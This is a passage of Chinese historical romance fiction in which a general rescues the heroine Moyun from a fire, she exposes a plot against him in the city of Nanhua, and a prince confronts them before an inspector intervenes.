“走！”正啸用身体护住茉云，火焰疯狂地舔舐着他们，热浪炙烤着他们，但什么都无法撼动他的怀抱。
就在祠堂的门槛之时，滚烫的房梁从上坠下，正啸用自己的身躯为茉云挡住了扑来的火焰和倒下的梁柱，幸亏他身穿铁甲，千山吃惊回头看着，正啸没有半分迟疑抱紧了茉云继续走，烈焰在他们身后熊熊燃烧，然而他抱着茉云的的手臂稳如磐石。
沧海和雄山等人在门口正不顾一切的支撑着大门，直到正啸他们冲了出来，众人纷纷围上来，却不敢打扰。他低头看着怀中的茉云，目光柔和却饱含着复杂的情感，仿佛世界在这一刻静止。
执礼马上探了一下茉云的脉说：“少主，还有脉搏，找大夫！”
正啸才晃过来身来，一把抱起茉云往外走：“万莫去找个最近的客栈，千山去找大夫来，执礼和沧海留在这里打扫战场，其余人随我来。”
“是！”
茉云被正啸抱在怀里一路往客栈走，迷迷糊糊的轻轻说道：“盔甲好冰啊……”
正啸低头看着怀里的茉云，说完她又昏迷了过去。月色稀薄，夜风微凉，但他的怀抱还是这般温暖而有力。她虚弱地靠在他的胸前，呼吸渐渐平稳，却没有恢复意识。
他们到了客栈，掌柜的见状立刻安排了最安静的厢房。正啸小心翼翼地将茉云轻放在床榻上，他坐在床边，万莫马上打来了水，将湿润的布巾拧干递给了正啸，他接过来温柔地为她擦拭脸上的烟灰。
茉云容颜渐渐恢复了往日，哪怕经历了火海的洗礼，神情依旧带着那份坚毅与倔强，还透着不服气。
他的手停在她的额头，目光深邃，带着一丝无法言说的情感，却又被她这睡了过去还依然倔强的表情逗笑了。
就在这时，千山拉着大夫匆匆赶到，正啸才起身给大夫让开了位置，但目光依旧没有离开她。大夫细心探脉检查了一番后，缓缓松了一口气，“大人，她没大碍，现在是累得昏睡过去了，休息一阵便好。”
听到这话，正啸紧绷的神情终于有所放松，他轻轻点头，示意千山带大夫下去，他静静守在旁边，看着许久没见的面容，心中那份克制又在疯狂翻涌，可他没有压抑，就让自己享受片刻的重逢喜悦也好。
直到执礼进来说瑞王爷大怒，而典王爷已然到了，正啸才不得不起身走了出去，他下令让万莫寸步不离的守在，腾腾也来了。
“卢叔！”
“你姑姑没事，去屋里待着！”
“哦，好！”腾腾长长松了一口气，是他不顾一切的找到了正啸，正啸才能赶来救茉云。
正啸简单的跟典王爷聊了不到一炷香的时间，典王爷是圣上的亲弟，自幼待正啸那也是非常亲厚，当他知道城中发生之事也非常震惊。
但是舟车劳顿，正啸又心急离开，找借口让典王爷先修整，自己也派了一队人守在外面，城中局势如何混乱自己也来不及思虑，他又赶回了客栈，自己换下了盔甲，换上了一套便服才走入茉云的房间，此时茉云还未醒来。
“大将军！”赶来的穆棱也马上行礼说，正啸此时望向他才点了下头，可正啸入城之时，穆棱冲出去拦他，话还没说完，正啸就驰骋而过了。
“卢叔，我叔叔怎还未醒来？”
正啸坐到了茉云的床前，伸手探了一下她的脉，还好脉像稳定。
茉云手指轻微的动了动，似乎感受到了熟悉存在，正啸也察觉了马上看向她双眼。
她缓缓睁开了双眼，这个熟悉的身影从模糊中清晰起来，正啸此时正坐在她身旁，目光温和而专注地望着自己，四目相触，他的脸上浮现出一丝难得的放松，大概是因为她的苏醒让他松了口气。
一瞬间，茉云的心头涌上一股暖意，仿佛冬夜的寒冷与危局都在这一刻消散了，她觉之安心又觉之开心，那个她最熟悉、最信任的身影终于出现了。
可是，当她逐渐清醒过来，脑海中的记忆也迅速回归，这是在做梦吗？她抬手轻轻拍了一下自己的脸，不是在做梦，卢正啸，竟然 不顾一切地来了昆家。
思虑及此，她的心头顿时涌上一阵复杂的情绪，喜悦瞬间被怒火所取代。茉云顿时弹起表情骤然一变，眼中闪过一丝怒意，几乎没有多想，直接抬起手，毫不留情地甩出一巴掌。
“啪！”清脆的声音在房中响起，顿时打破了宁静的气氛。
正啸也愣住了身体都瞬间僵住，被她打中的一侧脸……显然她下手不轻，但他依然没有躲避，他只是看着她半分未预料到她这一巴掌……
“卢正啸！”茉云顿时情绪愤怒又复杂的吼道，“大半年的时间你一个兵都未出，一个敌人没抓到，峑戎面都没见着，倒有时间跑这儿来英雄救美了！”
众人都有些错愕的望向茉云。
“你真是越活越回去了！你对得起你姑爷吗？你们有没有去老卢帅坟上看他也没有气得爬出来？你居然这种时候跑来昆家！那些炸药本来就是用来炸你的！你还来？”
威行看向茉云这么大火，忍不住小声说：“老妹啊，将军不来救你？你今天不就交代了吗？”
“你们未必是来救我的啊！”茉云没好气指着骂道。
“对啊，我去找了卢叔来救你啊！还是卢叔带兵闯进南华的，不然姑姑不就没了吗？”
茉云若有所思的看着正啸说道“你不是来救林宥汐
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的吗？”
“什么意思？”执礼望向茉云问道。
茉云才想起也对哈，人肯定要进了城才能受威胁，腾腾又不知道此事，也没人会告诉他，要是众人知道了也不会让他来……
“哦，兄弟们是来救我的！”茉云好像什么也没有发生的挠挠头，看向坐在床边正啸，顿时喜笑颜开。
“什么叫做炸药本来是用来炸将军的！”执礼亦马上追问道。
“有人联合了昆家，抓了你少主师妹林宥汐，说他是您少主的至爱，要利用她引你去，那儿埋伏了关外的杀手，武林高手还有那些炸药，准备杀你少主！”茉云看向执礼随意的解释说道。
众人顿时又都怔在原地，正啸亦皱眉看向茉云，想必这就是腾腾说的，他们离开之后听见一群关外之人叽里呱啦说了些什么，她又回了南华的原因。
正啸脸色如常那般冷峻，剑眉微蹙，深吸一口气紧抿着嘴，神情依旧威严如常，心中恼火她如此莽撞却又无可奈何。
“搞错了，要不您打回来？”茉云满脸嬉皮笑脸的指着自己脸说道。
众人只得伏低头忍着笑，他们一路随着正啸马不停蹄的赶来就她，她醒来就还了正啸一巴掌。
“我还以为姑姑被炸傻了！”腾腾望向穆棱说道：“英雄救美？卢叔叔肯定是英雄！姑姑跟美有啥关系？”
“扑哧”众人再也忍俊不禁，哄堂大笑。
茉云也乐了望向沧海突然说道：“沧海哥，你们来了多少人？”
“就带了几百人吧！”
“太好了！”茉云腾的一下翻身下床就要往外走说道，“你们就是够义气，这下我能翻本了。”
众人准备转身之时都望向正啸。
正啸无奈的点了一下头，看向茉云没好奇的说道：“你先洗把脸！”
茉云却满脸奇怪的望向正啸：“为何？我不过也就不小心栽了一次，还没到要以色侍君的地步！”
“扑哧”众人终于哄堂大笑，这便是茉云的腔调！
茉云带着他们就走出了房间，边走边说：“威行，你带一队人马堵东门，鹿里你堵西门，雄山你堵北门，沧海哥你帮我堵南门，进出皆不可！老马你们跟我去城中把府衙和昆家，包家，玉家都给我封了！”
“去跟着她寸步不离！”正啸望向万莫说道。
“是！”万莫马上跟着茉云而去。
执礼微微笑了望向正啸，任谁都能感受到他惊慌之后，见到茉云之时的心情畅快，已然完全不顾及其他……
将士们接到命令后，动作迅速的封锁住了城中的四个城门，高耸的城墙上，火把随着夜风中照亮了整座城池。而与此同时，小马带人将昆家宅邸层层包围，整个城池和昆家，都被迅速控制。
茉云站在高高城楼上，冷冷注视着整座南华城，目光中透出一股狠戾。曾经自己在这座城，被这些虚伪礼教逼得落荒而逃，本此生都不愿再踏入南华半步，谁知机缘巧合自己又被迫来了。
她抬目看着南华城中一座座牌楼对他们所谓的礼歌功颂德，而大山深处的悲凉惨绝人寰，冥冥之中，不知道是不是你们救了我，且等我为你们再入一次这南华城，斩碎一切，让那些罪恶万劫不复！
156.乱了
茉云回到客栈之中，夜已深沉，月光透过窗棂洒在地上，可她心中有太多未解的疑问，看今晚的架势，这场针对正啸的阴谋定然远比想象复杂得多，自己必须问个清楚。
她踱步至正啸的房间，发现千山和万莫都不在，她抬手轻敲了两下门，居然听不到回应，她片刻都未犹豫推开了门。
门吱呀一声打开，房内的灯光昏黄，就在她跨进门的瞬间，她的目光不由自主地停住了。正啸正坐在桌旁赤裸着上身，宽阔的肩背映入眼帘，他的背上有几道刀剑的旧伤疤，还有着被烫伤的新伤痕迹，他似乎刚刚准备上药……
茉云看到这一幕下意识地准备转身，心中既有几分尴尬又有几分叹息……
正啸转头望向她，低沉的声音忽然打破了沉寂，透着一如既往的冷静：“来得正好，看不见背后，帮我洒点药。”
茉云心想这合适吗？可人已经缓步走上前，拿起桌上的金创药。
正啸静静坐在那，背对着她，宽厚的肩膀和结实的背脊在灯光下显得格外坚韧。金创药的淡淡草药味弥漫再夜里，房间里只有彼此的呼吸声。
茉云拿着药，看着那伤口，心想是不是应该先稍微清理一下伤处，她瞧见桌上茶杯中有一杯水，她随即利落地将杯中的液体往他背上的伤口上一泼。
泼出的瞬间，一股浓烈的酒味弥漫开，刚一泼上去，正啸只感觉背上一阵刺痛袭来，他不由得站了起来，疼得锁紧了双眉回过头，眼神中充满了无法言喻的无语。
茉云则愣在原地，看着正啸那瞬间僵住的表情，才慢慢回过神来。她低头看了看手里的杯子细细一嗅，顿时发现这分明是酒！忍不住“扑哧”一声笑了出来“原来是酒，我还以为是水！”
正啸看着她那笑得没心没肺的模样，忍住背上火辣辣的疼痛，表情忿然中夹杂着的都是无奈。
“诶，你怎么疼成这样，还能这么冷静啊，哈哈哈……”茉云笑得前俯后仰，似乎完全没意识到自己是犯错。
冷静？正啸忽的大步逼近，目光错综复杂，带着压迫感的气息瞬间笼罩了整个房间。茉云愣了一下，原本还笑得轻松的表情一下子凝固了，她没想到他竟然会如此逼近，脸上那股不知如何形容的表情让她不禁感到一丝慌乱。
“我真不是……故意的……”她故作镇定的说，但声音却不由得带上了一丝慌张。
然而，正啸并没有打算停下脚步，而且每一步都带着不容抗拒的气势。
茉云被他逼得不由自主地向后退了几步，正啸却依旧步步紧逼，空气中似乎燃起了无形的火焰，茉云不断后退，直到背脊贴上了冰冷的墙壁，她才意识到自己无路可退，却依旧试图保持镇定，但心跳已经不自觉地加快。
两人的距离越来越近，茉云被困在狭小的空间中，心中的慌乱渐渐上涌，自己从来不怕他，但此刻，心中却涌上了一种说不清道不明的感觉。
正啸逼近到几乎与她面对面，彼此的呼吸交错在一起。他那威严目光锁定着她，眼神里除了怒意，更多的是透出一种复杂和难以克制，空气中弥漫着一种异样的情愫，随着他们的呼吸起伏而愈发浓烈。
茉云也好似被他此刻的目光凝固，四目相触，她觉得喉咙发紧，心跳不由得加快，自己是怎么了？她旋即伏低头，闪躲开了目光，而眼前他宽阔的胸肌也在随着呼吸起伏，是错觉吗？自己好像能听到两个心跳声……
就在意乱的这一刻，门外突然传来急促的脚步声，紧接着万莫推门而入，完全没有察觉到房间内的微妙气氛。
“少主！”万莫刚踏入房间，话未说完千山也跟着踏入了房间，他的目光扫过眼前的情景，顿时察觉到不对劲。
正啸和茉云的距离近得几乎没有缝隙，茉云被逼到了墙角，神情中分明透着带着一丝迷乱，气氛微妙得几乎让人屏住呼吸。
千山显然没有料到会撞见这番场景，他脸上表情顿时僵住，转头就要拉万莫出去。此时执礼也正好来禀报，瞧见千山和万莫的拉扯伸头瞧了一眼，便立刻收回了头，但眼角的余光不由自主地瞥向了正啸。
“救我！”茉云看向万莫，顷刻间又嬉皮笑脸的说道。
万莫一脸憨傻的站着未动说道：“你咋又惹少主生气了？”
千山带着一丝窘迫与紧张要拉出万莫，万莫则依旧一脸迷茫，执礼却站在门外暗自忍着笑。
正啸瞬间站直了身子转身，拉开了和茉云的距离，脸上恢复了一如既往的冷峻与威严。压迫感顷刻消散，只剩周遭余温还未完全退去……
“我帮他上药，想给你家少主洗一下伤口，谁知道杯里不是水是酒，他就发飙了！”茉云笑着解释道。
“你！”千山无语的看向茉云，然后马上跟了上去说，“少主，我帮你处理伤口！”
执礼忍着笑，脸色一正恭敬地说：“少主，城中各处已按茉云的命令布防完毕，所有出入口均已封锁。”
正啸点了点头走进去，一脸的波澜不惊，仿佛刚才的情绪波动只是一场错觉，留下的是未曾说出口的沉默。
千山小心翼翼的跟正啸清理了伤口上了药，正啸亦穿好了里衣走了出来，千山马上拿着披风给正啸披上。茉云则一副没有打算走的样子，正自顾自的倒酒喝。
正啸坐在了桌前，拿过酒壶给自己倒了一杯。
茉云素来开门见山开口便问道：“那瑞王爷和你有何过节，为何要置你于死地！”
“谁给你的胆子乱说？”正啸无语的皱眉望向茉云，这丫头开口便直指功勋卓著的瑞王爷。
“是属下鲁莽了，请大将军恕罪！”茉云看向正啸，瞬间坦诚的说。
众人皆有些疑惑地望向茉云，这太不像是她往日说话的风格了。
“绝非瑞王爷，是我千方百计弄了些炸药来南华，还放在了瑞王爷姻亲昆家，想趁着会谈之时，炸死大将军您？”
正啸重重放下酒杯瞪向茉云，执礼瞬间忍俊不禁，两人一说话便是这般针尖对麦芒。
“不如还是在下梳理一下此事？”执礼马上温和的说道，“城中到底是发生了何事？”
“城中有一个叫做琼枝苑的女子教习所，苑主是我幼时学戏时的师兄，说是琼枝苑的姑娘学习出来之后，都是嫁入达官贵人的家中，高嫁乃南华城的家族和女子最大的夙愿！说是三个进了元帅府，四个进了关府，我还纳闷了，您大半年按兵不动，去忙着纳妾了？”
正啸无语的看着茉云，执礼只得伏低头忍俊不禁，解释道：“朝廷吏部尚书倒台，这大半年的朝局实属动荡，如今也终于得到圣上授意，先行粮草后援的谋划，此处是不得不打通的关卡，实乃为大战筹谋。”
“你们和瑞王爷有何过节？”
“你为何笃定是瑞王爷！”
“要在南华谋划此事，肯定需要当地势力最大支持，才可瞒天过海，昆家是瑞王爷的女婿，而且看得出他们关系极为亲密！若是炸药和武林高手都在昆家出现，林宥汐也关在了昆家，那是瑞王爷的可能性最大！”茉云想到此处突然想起说道，“糟了，林宥汐呢？”
“撤出之时，已经将其救下，安置在另一处客栈！”执礼望向茉云说道。
“为何要安排在另一个客栈？这客栈没房间了？”
执礼正想着要如何解释之时，外面的急促脚步声突然打破了沉静。
“砰！”——客栈的大门猛然被踹开，
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撞击声震得屋顶的灰尘好似都纷纷落下。伴随着寒风一同涌入的是一群全副武装的侍卫，手握利剑，杀气腾腾地涌进客栈，几乎将整间小客栈围得水泄不通。所有人都持剑而立，眼神戒备，目光好像在寻找着什么。
紧接着，瑞王爷踏步而入，他鬓发斑白穿着一身华贵的王爷服饰，绣着金线的衣袍随着他的步伐晃动，显得气度不凡，但此刻他的脸上却充满了愤怒，阴沉得让人窒息。
“参见瑞王爷。”正啸走出了房不卑不亢的行礼道。
“人呢？”瑞王爷的声音低沉而带有怒意，仿佛忍耐到了极限，“你带着大军闯入南华，救人倒是快，可你带走的这个人，杀了本王的儿子！”
正啸愣了半刻望向双眼含怒的瑞王爷，他的拳头紧握指节发白，显然是压抑着极大的愤怒。
正啸往前一步挺拔的身影瞬间就挡在了茉云身前，带着一股威严和不容置疑，目光冷冷地与瑞王爷对视，两股强大的气场在空气中无声地碰撞，形成了一种无形的压迫。
茉云则抬目望向正啸，自两人遇见起，不管自己闯了多大的祸，祸事来之时，他总是不问缘由的挡在前……
而瑞王爷的目光顺着身边人指着的方向，直勾勾地落在正啸身后的茉云身上，透出了阴狠的杀气。
“瑞王爷，此事尚未查明！”正啸的声音低沉沉稳，但他的每一个字都透着一股绝不会妥协的气势。
瑞王爷冷笑一声，眼中闪过一抹寒光：“此事证据确凿，几十人亲眼看到她闯入宅院放火，还有证人指认他是杀我王儿的凶手，这还需要什么辩解？今日，你若不交出她，本王绝不善罢甘休！”
正啸依旧波澜不惊的说：“此时真相未明，案件未定案之时，她就是无辜的，谁都不能动！”
“无辜？！”瑞王爷的声音骤然提高，几乎是怒吼出声，“那是我王儿的命！若她无辜，为何会出现在庄园？为何证人都指向她？大将军，你倒是说说，这些如何解释！”
气氛瞬间紧绷，王爷侍卫们握紧了刀，似乎随时准备听令行动，剑拔弩张一触即发，可茉云站在正啸的身后却只觉得一如既往的安心和安稳。
正啸沉默片刻，从容不迫的说道：“瑞王爷，真相肯定并非这么的简单，待我查明，定然给您一个真相，但如果您此刻执意要带她走，我绝不会袖手旁观。”
他的声音依然冷静，但那字里行间都是坚决又含着他对此庄阴谋的警示。
瑞王爷眯了眯眼睛，怒火几乎要从眼中迸射而出，他挥了挥手，身后的侍卫们立刻向前逼近，拔出了刀剑，只因他知道这个人有可能了解了很多事，必须除了她！可是此时正啸也抬手了，就在客栈周围的将士，顿时将客栈围了。
“你真要为了她与本王作对？”瑞王爷冷冷瞪向正啸问道。
正啸毫不退让，甚至连一丝犹豫都没有，他的人都没有退后半步，他亦还是站在茉云身前。
“卢正啸，你乃南关的将军，谁给你的权利在这南华耀武扬威。”瑞王爷的每一个字都带着威胁的意味，“什么时候你一个边疆的将今年可以未得圣旨之时，在城池动兵围城，你是想造反吗？”
正啸面不改色，笔挺地站在那里，仿佛一座山一样巍然不动，可执礼知道这话的分量，此时正啸的毅然决然和瑞王爷的怒火，仿佛让整间客栈都在这无形的对峙下颤抖。
“你擅自调兵，便视同谋反！本王本也不需要跟你这般废话！”
这番话如同雷霆在客栈内炸响，侍卫们齐齐上前一步，剑刃与刀锋瞬间相见，周遭杀气四溢一触即发。
“住手！”突然一声断喝，声音威严有力，瞬间打破了这剑拔弩张的氛围。
157.重聚
众人望去，只见关若晨身穿一袭深青色的官袍步履稳健而优雅的走入客栈，神情依旧柔和而镇定，眉宇间透出沉稳和智慧，双眼如水般清澈从容，处处彰显着卓然不群的气度。
若辰微微拱手，先向瑞王爷行了礼，然后双眼直视对方，眉宇透出了为官一方的气度：“王爷，此事不可仓促行事，本官乃南境巡抚，境内之事皆可查明，听闻这南华城中惨案不断，是我请了大将军来，小王爷之事请王爷节哀，待我将事情来龙去脉彻查清楚，定然会给王爷一个交代，也会将此事上报朝廷，朝廷自会给王爷公断。”
瑞王爷脸色微沉，显然不满这番答复，可是巡抚大人本就是管着南境的官员，他不情愿地收回了几分怒气冷冷道：“关大人，本王的儿子被人杀害，难道这还不够明了？她身在事发之地，又有目击证人，这证据难道不足？”
若辰镇定自若的说：“王爷，此事确实事关重大，但正因为如此，才更需慎重查明。本官作为南境巡抚，理应管辖一切官府事务，我已请旨刑部特调干探来彻查此案，公断之后我必会秉公处理，绝不姑息罪犯。”
此话一出，客栈内的气氛稍有缓和，瑞王爷的目光闪烁，心中权衡片刻，看样子此时已经上达天听了，自己与其在此处耗着，不如赶快去销毁证据，他只能强将眼中的怒火收敛，但言语仍充满警惕与不甘：“关大人，本王只希望你速查速办，秉公处置。”
若辰微微颔首，转头看向正啸，表情乐了，语气却故作诚恳的说：“大将军，您以为如何？”
正啸无语看了一眼若辰一眼，点了点头：“嗯！”
若辰故作郑重地点头，随后他转身看向瑞王爷，继续劝慰：“王爷，既然此事交由本官处置，还请您稍安勿躁，给属下些时日，待刑部特派官员来，定会还您公道。”
“好，本王就给你五日时间，但巡抚大人，若此事有任何偏袒，本王绝不会轻易放过！”他丢下这句狠话，然后冷眼看向茉云带着极深的怨恨，最终冷冷一甩袖带着人马离开了客栈。
茉云则顿时嬉笑着轻轻用手背碰了碰正啸手臂：“哇，来了一个青天大老爷，咱得救了！”
正啸无语的看向茉云，执礼只得伏低头忍着笑，若辰则被逗笑了转身望向他两。
“我接到你的信，马不停蹄的赶来了！”
“你来得正好，你两好好聊会儿，我还有事！”茉云马上就想着撤，刚要飞身离开，便被正啸一把擒住，将其拎着进了房间。
众人只得伏低头忍着笑跟了进来。
“小王爷又是怎么回事？”执礼望向茉云马上问道。
“我没杀小王爷，此时说来话长，你们也懒得听……”茉云不耐烦地说道。
“说！”正啸不容分说的瞪着她，丝毫没有会放她离开的意思。
“茉云，我们既已来此，你总要将来龙去脉告知我们吧！”若辰一脸温润的笑了说道。
“没事，你慢慢说，我带了好茶！”随着若辰而来的何友也乐了说道。
“我当日之时一时义愤烧了昆家山里的庭院，肯定是没有对小王爷动手的，当然不是不想动，那家伙身边高手太多了！”
“他们干了什么？”
“哎，这就说来话长了……这昆家是南华四大家族之一，后来昆老爷成了瑞王爷的乘龙快婿，就成为了南华第一大家族，在城中只手遮天，他只有一个儿子叫昆少，此人脑子有病！我有一日夜里，经过南华后山之时，看见很多不幸女孩的琼枝苑女子……”
“琼枝苑又是什么？”
茉云无奈的解释道：“琼枝苑是一处女子研习琴棋书画持家礼仪的地方，学成之后，被卖去富贵人家为妾，更甚被送到昆家大少爷的别院，供他和那些达官贵人玩乐。我一气之下，将他别院烧了！”
“一气之下？”
“对！你知道人多可耻吗？他们向世人宣传，入琼枝苑学成的姑娘最甚者能嫁入太师，元帅和太傅府，他们说关若辰在这里纳了四个妾！咱这么好的交情是吧，你混了大半辈子刚大婚，人在背后这般造谣重伤你，咱怎么能忍！”茉云义愤填膺的拍着桌子说道。
“我谢谢您！”若辰瞬间被茉云逗笑了说道，众人顿时忍俊不禁。
“琼枝苑就是昆少所开？”执礼继续追问道。
“不是，琼枝苑的苑主，是我的学戏之时的师兄，我不知道他知不知道这一切……”
“他为苑主，怎么可能不知道？”
“哎……”茉云撑着头手怅然的摇摇头，“我当真不知，可我这师兄本是世上最为温和良善之人。”
众人望向茉云，都知道她鲜少有这种神色凝重的神情，正啸心中也明了些，此时牵连甚广，接下来的调查恐怕会比预想的更加艰难复杂。
“她还说，有人想刺杀少主？”执礼紧接着问道。
若辰瞬间惊愕望向他们，他接到信之时只是执礼说茉云在南华定然是深陷泥沼，还未知是这等阴谋。
“哦，是我听闻杀手说，他们抓了大将军的心中至爱，准备逼大将军就范，找来了武林高手，关外杀手和大量炸药，为的是要卢正啸的命！”
“他心中至爱是谁？”若辰顷刻看向茉云问道。
茉云没好气的眯眼看向若晨：“装什么装，那女孩叫林宥汐！”
“林宥汐？”若辰望向茉云那质疑的表情乐了，抬手指向正啸，“何意？我装什么装？那是他师妹！”
“这么重要的事，你跟我提过吗！”
若辰顷刻笑出了声，他两丝毫将正啸视若无睹的聊着天：“你也没问过他这些啊？”
“我怎么没问过？”
“你何时问过我卢正啸有没有心上人吗？”
“没有！”茉云拍着桌子愤慨的说道，“可我当日问过你，卢正啸有没得什么把柄可抓，什么在意的物件在意的人，不能我老被他钳制，你怎么说的，他决计没有，铁石心肠，这会儿关外的杀手都知道人有至爱，不只有您这大宝贝！”
“扑哧”众人再也因忍不住，哄堂大笑。正啸一副压根不想搭理他两的表情，但是眼中透出了温和。
茉云也乐了，她想着又望向茉云问道：“我再问你，他跟瑞王爷有何过节？”
“瑞王爷曾希望卢正啸娶自己嫡孙女，被这家伙斩钉截铁的拒绝了，不知是因为此事否？”若辰一脸调侃的笑意望向正啸，正啸则无语的瞪着他。
茉云转头便望向正啸骂道：“娶就是了嘛，你又不在家，家里只有一个恐怖的老太太，人想死你非不让，这下好差点把自己搭进去了吧！”
“管好你两自己的事！”正啸忍无可忍的骂道。
“恼羞成怒？”若辰半分不气恼的笑了望向正啸，定睛一看，“你脸这是怎么了？”
执礼伏低头忍笑，千山亦是一脸的无语没有答话，只是看了茉云一眼。
茉云压根没有在意这些，脑中都是思虑着案子，起身打算走。
“你去哪儿？”
茉云毫不犹豫的说:“去查案啊！”
“你此刻怎能单独行动，瑞王爷的势力遍布城中？”若辰看向茉云关切的说。
“就那群家伙？”茉云没好气给了个白眼说道，全然不记得刚刚就差点将自己的小命栽在了昆家。
“你此刻还有伤在身，瑞王爷那也是实力不容小觑之人！”若辰温和劝说道。
“这南华城中看着便是危机丛丛，
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您就这般自信？觉之没有人能抓得住你？”执礼也笑了说道。
“有啊！”茉云一脸坦荡而无畏的指着正啸说，“你英明神武的少主！”
众人又被茉云逗笑了，正啸无可奈何的望向茉云，他心里自然是知道她的能耐亦知道她的执念，此刻谁也挡不住她去查明此案的，抬手便指着千山说“千山，你跟她去！”
茉云明显一脸不乐意的望着正啸，她一向来去自如，怎会带个监视自己之人。
“那你就给我待在此处，寸步别离开！”正啸斩钉截铁没有好气的说。
“万莫！”茉云最终退让了一步，然后望向万莫开心的说道，“走，天快亮了，我带你去吃上次跟你说的那个好吃的饼。”
万莫瞬间开心的望向正啸，正啸无语的点了下头，茉云便带着万莫开心的跑了，正啸看着他两的背影，只得撑着头无奈叹了口气。
若辰则被逗笑了然后凑近看向正啸说道：“你这？被她打的啊？”
正啸瞬间起身懒得搭理他们说：“你可以出去了，让我睡会儿！”
众人退出房间之时，天边的鱼肚白显露出黎明的曙光，微弱的光线透过窗棂，映照在客栈的房间里，外面此时传来阵阵清晨的鸟鸣，唤醒着新一天的希望。
正啸躺在床榻之上，心中才松了一口气，自己终于可以卸下心头的重担，尽管形势依然复杂，但至少她还安全无恙。此时的疲惫感顿如潮水般涌来，他才意识到自己一路马不停蹄的赶来，早已疲惫不堪。
就在这片宁静之中，正啸闭上眼睛脑海中还是不断浮现出她的身影，刚刚自己不是分明已经见到了吗？可梦中似乎还是她的笑声，如此爽朗畅快……
晌午的阳光透过窗沿洒在客栈的房间里，温暖而柔和。正啸睁开眼睛便起身坐起，身体的疲惫逐渐消散。
此时，若辰已经坐在房外静候，他见正啸醒来便说：“醒了？昨夜茉云所说之事，你有何想法？”
正啸走到桌旁自己倒着茶水喝：“若是当真，只怕此阴谋最终目的不只是我！”
正啸语气沉重眼神中流露出一丝忧虑。满朝皆知的瑞王爷是圣上的亲叔叔，对当年朝廷的平定四方立下过汗马功劳，可他后来偏居南方不问朝政，朝廷一直都是待他荣宠不断，特别是当今圣上也分外尊敬这位皇叔。可是只有卢家才知道，当年让这位王爷放下兵权可不是件容易得事……
“我知道你的担忧！”若辰深吸了一口气说道，此时只听见千山的声音，粗声在问外面来者是谁？当掌柜拼命解释那是他们店的小二。
“我不是说了房间不要任何人靠近吗？”
“是！是！他昨夜不在，小的忘记跟他交代了！”
“走吧！”
若辰望向双眉微蹙的正啸说道：“此地还是不宜商议这些，终究人多嘴杂，不是久留之地，我们可以借住到南华城中的玉家别苑去。”
“玉家别苑？”正啸看向若辰，自己确实是该寻个周全的地方，只怕是这城中局势一日两日不能安稳。
“玉家亦是南华城中的大家族，玉老爷与我父亲是旧友，是个通情达理之人。”若辰继续解释道，“至少是个安全和便利之所，也适合我们议事，你若不嫌弃……”
“嫌弃什么？我住山洞都行！”正啸心中亦觉得找一个不牵扯朝廷纷争的住所确实是最合适的。
“好，我让何友这就去安排。”
“有劳！”
“如此客气！”若辰喝着茶笑着说，“要操劳的另有其人……”
正啸起身走向窗边，感受着初冬暖阳，此刻一阵温暖从心底升起弥漫全身，仿佛即使在这个寒意袭来的初冬，光芒和暖意都围绕在身旁……
158.救赎
傍晚时分，若辰就和正啸一行人终于来到了南华城中亦是声名显赫的玉家别苑。玉家老爷是南境闻名的文人雅士，而玉家别苑坐落在城郊一片绿树成荫之中，青砖瓦房与庭院中的花草相映成趣，宛如一幅生动且雅致的山水画。
众人刚抵达别苑，一位白发苍苍的老人正站在门口迎他们，那便是玉老爷，他身穿一袭宽松的长衫，虽年事已高但气质儒雅，眼神中透出智慧的光芒，他微微一笑摸着胡须，给人一种亲切、豁达之感。
“大将军，关大人，欢迎光临我玉家别苑！”玉老爷欢喜的声音中，不带有半分迂腐的礼节，倒是充满老者的热情和爽朗。
“玉伯伯竟这般客气！”若辰上前行礼，温润而笑说道，“正啸，这位是玉伯！”
“多谢玉伯关照。”正啸亦恭敬地向玉老爷行了一礼，眼中流露出感激之情，关太傅的老友定是坦荡君子。
若辰望向玉老爷一脸崇敬的说：“玉伯，城中纷扰，故而我们特意来借贵宝地，希望能在这里能商讨要事。”
玉老爷听后微微点头，神情间透着几分凝重：“你们年轻人商议要事要紧，快进屋内用些茶点，你们细细谈，老生会将让这别苑之人全数屏退，你们放心在此歇息！”
“有劳玉伯了！”
“谢谢玉伯！”他们两人马上恭敬的行了谢礼。
“切莫多礼！”玉老爷笑着摆手道，在玉老爷的引领下，众人走入别苑。
深秋初冬的玉家别苑更显素雅与静谧，四周树木的枝叶已渐渐染上金黄与枯红，几片落叶轻盈地落在青石小径上，不显凋零反而为这片幽静的空间增添了一抹点缀。院中的老梅枝桠挺立，虽花朵未盛开，但清雅的轮廓，仿佛在静静等待着寒冬傲雪的来临。
两旁的翠竹依旧苍翠挺拔，它们顽强地抵御着寒霜，池塘倒映着天空云彩，水波微动，几尾红色锦鲤依旧再池中悠然游动，仿佛丝毫不受即将来临的冬日侵袭。
院内屋檐之下的窗棂上的雕花细腻精致，雕刻着古朴的梅兰竹菊图案，在黄昏的光线下透出淡淡的光影，处处透着安静平和与素雅精致。
玉老爷将他们迎入别苑，就马上退了去，知道他们有朝廷大事要商议，而若辰轻轻吸了口气看向这别苑，此处好似与世隔绝，让人心中不由得升起一股淡淡的宁静与安然，仿佛顷刻间只欲摆脱那尔虞我诈，只愿与此雅苑一同迎接静冬的到临。
正啸则没有半分赏景兴致的看向执礼和谢青说道：“让沧海派人将此别苑守卫起来，不让任何人靠近，将需要保护之人都接来！让鹿里他们进来，目前城中局势如何？”
“此情此景你不能歇会儿？”若辰看向正啸没好气的笑了说道，“正值露沾草，风落木，岁方秋……”
正啸压根没有搭理若辰，只是抬手指着门外，让他出去赏秋。
“了无趣味！”若辰起身丝毫不恼的走了出去。
直到入夜之时，茉云才和万莫回来，万莫手上都是吃食，他进来便放在了正啸的桌案之上，千山无语的瞪着他，万莫则开心的先递给了正啸，正啸的眼神亦是相当温和接过食物，没有半分责怪的意思。
然后万莫开心的分给大家吃，沧海亦接过便塞到嘴里吃了起来。
茉云则自顾自的坐下，拿起桌上的茶壶倒着茶喝。这时若辰和何友亦走了进来，万莫将扯开的饼递给了若辰，若辰亦温和的笑了微微点头，用手接过了饼，然后轻轻咬着吃了。
“这饼不错，麦香四溢，香脆可口！”何友尝了笑着望向茉云说道。
茉云放下茶杯看向何友说道：“这地肯定你哥找的吧？”
“怎得？满意否？”若辰笑了轻轻咽下饼才说。
茉云满脸憨笑的说道：“说笑了，关大人的品味素来高雅！”
若辰停住了望向茉云，显然这不是她平日里说话的口气。
“就是体谅关大人被大将军胁迫，没得时间出去观景吹风，画幅画，写首诗，感叹一番，啊，天凉了，叶落了，秋风吹，接下来是冬天了？”
“扑哧”众人忍俊不禁，正啸亦嘴角上扬了。
